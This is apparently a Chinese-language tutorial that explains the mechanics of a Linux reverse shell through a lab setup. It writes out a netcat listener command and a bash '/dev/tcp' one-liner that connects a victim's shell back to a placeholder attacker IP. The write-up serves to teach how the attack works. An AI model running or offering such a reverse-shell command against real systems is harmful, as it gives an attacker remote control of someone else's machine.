linux反弹shell>>>本质
这次我们探究反弹shell的本质
什么反弹shell
- 简单说就是将受害者的输出与输入全部都定向攻击者主机上
反弹shell适用怎样的情景
- 受害者主机在内网中,ip经常变动,无法通过准确ip连接到受害者电脑
- 受害者只能发送请求,不能接收请求
- 等等。。。。
实验
-
攻击者
- centos linux
- ip:123.456.789.0(随便写的)
- 开放端口 1234(随便写的)
-
受害者
- kail linux
-
在攻击者上执行命令
-
nc -lvp 1234
-
nc命令使用
- nc -lvp 就是三个命令一起使用
-
-
在受害者上执行
-
bash -i >& /dev/tcp/123.456.789.0/1234 0<&1
- bash -i 是指让linux产生一个交互的shell,就是可以多人使用
- 因为linux下一切皆文件,/dev/tcp/123.456.789.0(ip)/1234 (port)指的是攻击者主机
- >& /dev/tcp/123.456.789.0/1234 是指错误和正确输出都定向到攻击者主机,你也可以这样写 &> /dev/tcp/123.456.789.0/1234,两者意思都一样
- 因为所有输出都在攻击的主机上,那么&1表示的攻击者的输出,0还是本机输出,0<&1就是攻击屏幕上的东西定向到受害者的输入。攻击者主机输入 abc 会输出在攻击者屏幕上,然而受害者的的输入已经定向到攻击者输入,那么攻击者的输出,就是受害者的输入,这就是反弹shell的本质
-
攻击者回显
- 查看文件
- 攻击者上查看文件
- 为什么多个ls,因为攻击者的输出为受害的输入,受害者输入会正常显示在屏幕上,但受害者的输出都定向都了攻击者,所以攻击会多了个ls
- 受害文件夹
- 攻击者上查看文件
-
-
反弹shell已成功
总结
- 无论代码怎么变,反弹shell的本质就是重定向